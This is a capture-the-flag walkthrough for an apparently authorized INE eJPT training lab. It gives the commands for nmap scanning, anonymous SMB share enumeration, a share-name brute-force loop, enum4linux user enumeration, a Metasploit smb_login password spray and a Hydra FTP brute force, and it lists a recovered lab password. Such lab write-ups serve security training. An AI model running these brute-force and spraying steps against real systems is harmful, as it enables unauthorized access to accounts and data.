Identify services on target.ine.local and capture four MD5 flags, mostly over SMB.
A Linux machine is accessible at target.ine.local. Identify the services and capture the flags (MD5 format).
Useful wordlists live in /root/Desktop/wordlists (shares.txt, unix_passwords.txt).
FLAG1{MD5Hash} — submit only the hash.All work is performed against an authorized INE training lab for eJPT exam preparation.
nmap -sV -Pn -A -p- -sC target.ine.local
cat /etc/hosts
Enumerate shares, then brute the share name with a custom wordlist. Quick path with smbmap/smbclient:
smbmap -H <target-ip> -u anonymous
smbmap -H <target-ip> -u anonymous -r pubfiles
smbclient //<target-ip>/pubfiles -N
A small Bash loop also finds accessible shares from shares.txt:
while read -r share; do
smbclient "//$target/$share" -N -c "ls" &>/dev/null \
&& echo "[+] accessible: $share"
done < /root/Desktop/wordlists/shares.txt
The pubfiles share allows anonymous access — download and read flag1.txt:
smbclient \\\\target.ine.local\\pubfiles
smb> get flag1.txt
# new terminal:
cat flag1.txt
Enumerate users with enum4linux:
enum4linux -a target.ine.local
# josh, bob, nancy, alice
Save the usernames and spray them against a wordlist with Metasploit's smb_login:
msfconsole
use auxiliary/scanner/smb/smb_login
set RHOSTS target.ine.local
set USER_FILE smbusers.txt
set PASS_FILE /root/Desktop/wordlists/unix_passwords.txt
set VERBOSE false
run
A valid pair is found. Connect to the user's private share and read the flag:
smbclient //target.ine.local/josh -U josh
# password: purple
cat flag2.txt
The flag 2 hint points to FTP. Nmap shows FTP on a non-default port (5554), so set it with -s:
hydra -L smbusers.txt -P /root/Desktop/wordlists/unix_passwords.txt ftp://target.ine.local -s 5554
Log in with the discovered credentials and read flag3.txt.
Nmap shows SSH is open. The flag is the warning banner shown when connecting:
ssh target.ine.local
| Flag | Technique |
|---|---|
| 1 | Anonymous SMB share enumeration (smbmap/smbclient + custom wordlist) |
| 2 | User enum (enum4linux) + smb_login password spray |
| 3 | FTP brute-force with Hydra on a non-default port |
| 4 | Reading the SSH login banner |
enum4linux is the go-to for pulling SMB users, shares, and policies.smb_login sprays username/password lists efficiently.-s <port>.